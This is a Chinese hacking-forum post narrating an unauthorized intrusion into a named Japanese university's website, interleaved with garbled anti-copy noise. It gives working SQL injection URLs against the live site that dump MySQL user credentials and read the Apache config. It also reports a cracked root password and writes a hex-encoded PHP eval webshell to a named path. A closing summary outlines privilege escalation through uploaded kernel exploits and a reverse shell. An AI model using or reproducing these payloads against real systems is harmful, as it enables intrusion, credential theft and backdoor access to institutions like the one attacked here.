中国网络渗透测试联盟
标题:
入侵日本同志社大学
[打印本页]
作者:
admin
时间:
2012-11-21 13:48
标题:
入侵日本同志社大学
入侵日本同志社大学技术分析
# p: m/ q2 B: K9 j
* n; b6 a3 y' m4 L$ F
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
: ? d2 h( l$ A2 G. Y
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
4 K) t8 Z6 s. T q% f1 W
1 N3 [ g9 U3 \, D; B. t* j
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1
,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
7 L! k% ~* i. S! r
! m+ g* f/ z5 g% g X0 v8 Y
: T- M3 G' Z9 [0 p& t2 ~( B# |* z
. w+ ~# Y* V8 ^0 V1 J' P. D# c
//@@datadir为数据库文件路径
" @2 H5 o; U& r! @4 P
: Y9 X4 e' ]# h; u$ X6 Q1 J' U
9 N3 N. T# V# S# F6 [
//load_file读取网站容器apache的配置文件
% }- a' E: t8 s, j r
+ P# m7 B" i& W* a I+ \
9 v }1 h( y2 X, J
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
6 F' @8 w: }: y/ n
复制代码
3 ]1 m, g8 J+ L1 E9 p* L
4 S( d) j% F& t4 D% O+ a, e
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
3 `& L1 h4 J1 w* w$ g5 f; m- e
' d& u9 r+ f# A% C( J, w
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
6 e6 W) J5 q z H# Q, \* r% ?
(大家对以上各种查和语句不太懂的可以参考以下文章:
http://bbs.blackbap.org/thread-2243-1-1.html
)
& w8 ~# o. }" q. @% N! c& N
7 k6 e4 R0 R+ c0 G6 S- I
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
, g6 |* o- S7 j
如果知道怎么猜apache配置文件的路径的请参考以下文章:
http://bbs.blackbap.org/thread-2242-1-1.html
8 _3 {. ^/ D3 `& S. d# ~
; q$ E7 X* E5 |& j
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
' H( e0 n" j! m1 b. X
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
7 t8 N# }3 N6 D0 _5 N. j: y
直接写一句话:
7 c9 t# {4 ~0 [- O' K: e
5 x; O& z$ {/ o( j w' p0 ]% W
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
. N1 l5 |) O/ G% E! p' K# v; {
( x/ Q. B1 M/ N7 Q3 X
: F- ?0 Z4 R; q: D+ N$ m7 M7 J
% a4 P3 z( B& l" r: y7 l- I! H
//最后的#是为了闭合前面的语句
# D5 K; |; V% n$ J5 B
$ }+ r# r& X: `
+ z( g! E8 A. S6 _$ k( F% X
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
: N: `$ B1 v% m3 l% N# E( V4 W: `
9 f) z, v* I. y# j1 l; i; ^
) E* L1 D6 V! K+ w4 X- D2 Q! Z
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
: v/ H6 P& ?4 s, C% T
, g; e; b7 v0 g- _% [7 {1 c6 D
& t2 ~0 _6 C: ~# w
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
' d, _) h! y; B
9 w$ K+ J* W. @+ |8 C( y
z) Y$ x- [) ]" H2 D4 o; B6 M
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
6 F' T! b3 C5 y9 i: E4 i: A' o
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
; _2 T0 p1 A' _! c. t/ v6 W
复制代码
, Z& }% W$ ~$ \( |+ d6 I, i% P3 `7 O
- P( p0 a9 _! Q
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
$ Y7 M g0 _/ q7 q6 Y
通过上述注入语句,我们就得到了一句话木马:
' `' }# ^ g* u; s3 n! a* u
, w( p+ e1 Y( ^- \: W1 }
$ i5 ~ I R; W0 m4 \" q3 v% b6 d
( c) _( b" ]8 N! L
, }! A9 Q' I- N/ a; c$ k' a. o
- d% {& [9 D6 u+ j% a2 N* A7 v
http://www.doshisha.ac.jp/english/engnews_img/aa.php
; V7 F( x# | l# k y) r* e
复制代码
9 u4 i- l1 W% ^- K# V$ `! |4 C
3 [' F4 d0 v8 S7 D4 G. S
用菜刀连接,密码是cmd,如图所示:
& m7 Q7 V$ r+ A; u0 |# x% r
然后在命令提示行里看了一下,现在的权限是:
7 K. M! [' m- i2 t7 I& j ]7 S
0 O ^% d5 Z6 A$ P4 l
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
* M$ Q% s& B( u3 i
好在赋权给这个文件夹不需要root,直接执行赋权语句:
# R# n: R. l) c# }
0 ^6 [2 e; l# k
2 O' {3 O, X4 M% H, W0 i0 I U
& i# o# \! E, N! R B5 g
* l: C$ k2 h; J: }* [$ q& x/ ?
' O: ?1 V9 r8 r2 q% s
chmod +x /tmp/
! T4 U9 z$ o3 ]; {6 T" `
复制代码
" k1 R% f: l' v4 M/ c
. r1 H5 K/ ?+ B5 }$ P) A+ C/ C
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
& l! Q2 g* ^. m/ E* {6 ^
然后就查了一下内核版本:
+ W3 _) R9 \& Z% Y' H0 j" W
3 ]/ [: b- ?" U2 X C- T' q& c
: g" X' P" H1 S" s2 z+ P
% z3 }* @3 t' @' g& X9 L5 R
* @& O9 c7 b4 u' B6 p8 r2 a% ]' m. ?( s
n5 a: B3 H. j0 y* o7 q1 ~
uname-a
& u# d: H# W2 o, @7 d" f
9 g2 ^( c& v, Q
/ g3 X! s' @+ r2 t9 C# M# ?. q
//其实lsb_release -a
8 m3 X% m8 h6 @9 j, F
复制代码
( l' W- c6 o4 ?" p/ ]- I8 a
' P4 O5 Q4 x* t/ G) }$ Z
如图所示:
% ]9 c" g) Y$ K
: l' i+ T+ V8 A0 m7 s w& s3 j
内核版本:linux mainz1 2.6.28-194.e15
& E e8 R4 {3 X% Z' ?! B
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
6 _7 p. V( y3 W
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
) v6 ^, k2 T% I |5 i+ ~
6 Q7 f `, d1 ]+ o9 n+ w, J; X
然后给予执行权限
9 [2 L2 c0 o+ V" W; L
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
. n+ u$ Z; q, v/ I+ _8 q# ^
8 S M( N9 i" K3 f/ g
/ c; X* c* x8 }
4 A9 {# [! b; R8 e4 a K% K+ T
* K1 L8 D1 g5 ]* e
" Q z6 P0 x- q1 `
chmod +x /tmp/2.6.18-194
) v4 | ?5 c, k6 R0 G M9 h( W: \
复制代码 然后直接执行!~
8 ?* Y. I9 I1 [/ C: ]( _* K
( ^; j- ~/ z9 F x$ F f
总结:
9 ]( n, e8 [: j( e, D
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
. N0 o" E3 O, _( }+ J) w" d
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
% S, ~4 Y, b+ `2 }
; o3 F1 r2 A0 n1 f; H
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2